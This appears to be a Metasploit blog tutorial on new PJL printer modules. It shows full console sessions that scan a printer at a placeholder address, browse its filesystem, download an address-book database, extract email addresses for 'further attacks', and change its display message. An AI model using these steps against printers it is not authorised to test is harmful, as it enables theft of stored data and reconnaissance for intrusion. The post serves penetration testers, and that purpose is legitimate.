Last updated at Mon, 05 Feb 2024 19:18:41 GMT
As of this last release, PJL (HP's Printer Job Language) is now a grown-up Rex::Proto
protocol! Since extending a protocol in Metasploit is beyond the scope of this post, we'll just be covering how to use the PoC modules included with the new protocol. Feel free to dig around in lib/rex/proto/pjl*
, though!
Okay, let's get started!
printer_version_info
First off, we have printer_version_info
. This module lets us scan a range of hosts for printer version information. We'll set RHOSTS
globally so we don't need to worry about setting it later. :)
msf > use auxiliary/scanner/printer/printer_version_info
msf auxiliary(printer_version_info) > setg RHOSTS 417.216.55.69
RHOSTS => 417.216.55.69
msf auxiliary(printer_version_info) > run
[+] 417.216.55.69:9100 - HP LaserJet M5035 MFP
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
As you can see, our target is an HP LaserJet M5035 MFP. This gives us a good idea of what to expect while running later modules.
printer_env_vars
printer_env_vars
will get us a list of environment variables on the printer. This information isn't necessarily useful for what we're about to do, but it does give us information about the printer's configuration.
msf auxiliary(printer_version_info) > use auxiliary/scanner/printer/printer_env_vars
msf auxiliary(printer_env_vars) > run
[+] 417.216.55.69:9100
LANG=ENGLISH [22 ENUMERATED]
ENGLISH
FRENCH
GERMAN
ITALIAN
SPANISH
SWEDISH
DANISH
NORWEGIAN
DUTCH
FINNISH
PORTUGUESE
TURKISH
POLISH
RUSSIAN
CZECH
HUNGARIAN
CATALAN
ΑΓΓΛΙΚΑ
ENGLISH
ENGLISH
ENGLISH
ENGLISH
[snip]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Since the listing is so long, we've snipped off everything past the language setting.
printer_list_volumes
Now we're going to start mucking with the printer's filesystem. We can list the initialized volumes using printer_list_volumes
.
msf auxiliary(printer_env_vars) > use auxiliary/scanner/printer/printer_list_volumes
msf auxiliary(printer_list_volumes) > run
[+] 417.216.55.69:9100
VOLUME TOTAL SIZE FREE SPACE LOCATION LABEL STATUS
0: 119754063872 119613587456 DISK 3 ? READ-WRITE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
That's a lot of free space! Volume 0:
has over a hundred gigs of readable/writable free space. Someone should implement FSDOWNLOAD
to take advantage of that. ;)
printer_list_dir
Let's snoop around in 0:\
with printer_list_dir
. Take a close look at the directories that pop up. Printers are unassuming, but this causes many people to consider them harmless. In reality, much of what people send through a printer may be stored or at least logged to its filesystem. Yeah, it has a disk. Scary, huh?
msf auxiliary(printer_list_volumes) > use auxiliary/scanner/printer/printer_list_dir
msf auxiliary(printer_list_dir) > set PATHNAME '0:\'
PATHNAME => 0:\
msf auxiliary(printer_list_dir) > run
[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
PermStore TYPE=DIR
saveDevice TYPE=DIR
webServer TYPE=DIR
FaxIn TYPE=DIR
Fax TYPE=DIR
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice'
PATHNAME => 0:\saveDevice
msf auxiliary(printer_list_dir) > run
[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
CertMgmt TYPE=DIR
DigitalSend TYPE=DIR
ScanJobs TYPE=DIR
SavedJobs TYPE=DIR
SecurityAttrs TYPE=DIR
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice\DigitalSend'
PATHNAME => 0:\saveDevice\DigitalSend
msf auxiliary(printer_list_dir) > run
[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
Jobs TYPE=DIR
ImagePipeline TYPE=DIR
Log TYPE=DIR
AddressBook TYPE=DIR
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice\DigitalSend\AddressBook'
PATHNAME => 0:\saveDevice\DigitalSend\AddressBook
msf auxiliary(printer_list_dir) > run
[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
EmailPDL TYPE=DIR
FolderDestPDL TYPE=DIR
NetFolderPDL TYPE=DIR
speeddial.state TYPE=FILE SIZE=6
speeddial.db TYPE=FILE SIZE=2560
speeddial.bak TYPE=FILE SIZE=2560
email.state TYPE=FILE SIZE=6
email.db TYPE=FILE SIZE=16384
email.bak TYPE=FILE SIZE=16384
fax.state TYPE=FILE SIZE=6
fax.db TYPE=FILE SIZE=2560
fax.bak TYPE=FILE SIZE=2560
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
email.db
looks interesting!
printer_download_file
Okay, so we found an interesting file (0:\saveDevice\DigitalSend\AddressBook\email.db
) with printer_list_dir
. We can now use printer_download_file
to download it. The file will be stored in loot.
msf auxiliary(printer_list_dir) > use auxiliary/scanner/printer/printer_download_file
msf auxiliary(printer_download_file) > set PATHNAME '0:\saveDevice\DigitalSend\AddressBook\email.db'
PATHNAME => 0:\saveDevice\DigitalSend\AddressBook\email.db
msf auxiliary(printer_download_file) > run
[+] 417.216.55.69:9100 - 0:\saveDevice\DigitalSend\AddressBook\email.db
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_download_file) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
417.216.55.69 printer.file 0:\saveDevice\DigitalSend\AddressBook\email.db application/octet-stream Printer file /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db
msf auxiliary(printer_download_file) > strings /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db | tr A-Z a-z | sort -u
[*] exec: strings /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db | tr A-Z a-z | sort -u
zerocool@nyse
acidburn@otv
joey@gibson
E-mail addresses! Just one of the many things you might find on a printer filesystem... Obviously, the real addresses have been replaced by fake ones, but the significance of this find is the same. In this case, those could have been organization e-mail addresses, which means you would now have usernames you could leverage for further attacks.
printer_ready_message
Okay, phew, we're done with the serious stuff, so let's have a little fun! There's an old trick to change the message on a printer's LCD screen. We're going to use printer_ready_message
for that.
Here, we're changing the display to something you all should know. :P
msf auxiliary(printer_download_file) > use auxiliary/scanner/printer/printer_ready_message
msf auxiliary(printer_ready_message) > set ACTION Change
ACTION => Change
msf auxiliary(printer_ready_message) > set MESSAGE HACK THE PLANET
MESSAGE => HACK THE PLANET
msf auxiliary(printer_ready_message) > run
[+] 417.216.55.69:9100 - HACK THE PLANET
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
It's probably a good idea to reset the display once you're done trolling. Just set ACTION
to Reset
and hit run
!
msf auxiliary(printer_ready_message) > set ACTION Reset
ACTION => Reset
msf auxiliary(printer_ready_message) > run
[+] 417.216.55.69:9100 - Processing...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Like a ghost. ;)
Conclusion
If you're new to Metasploit, never fear! You can download it here. If you already have Metasploit installed, these modules are only an msfupdate away!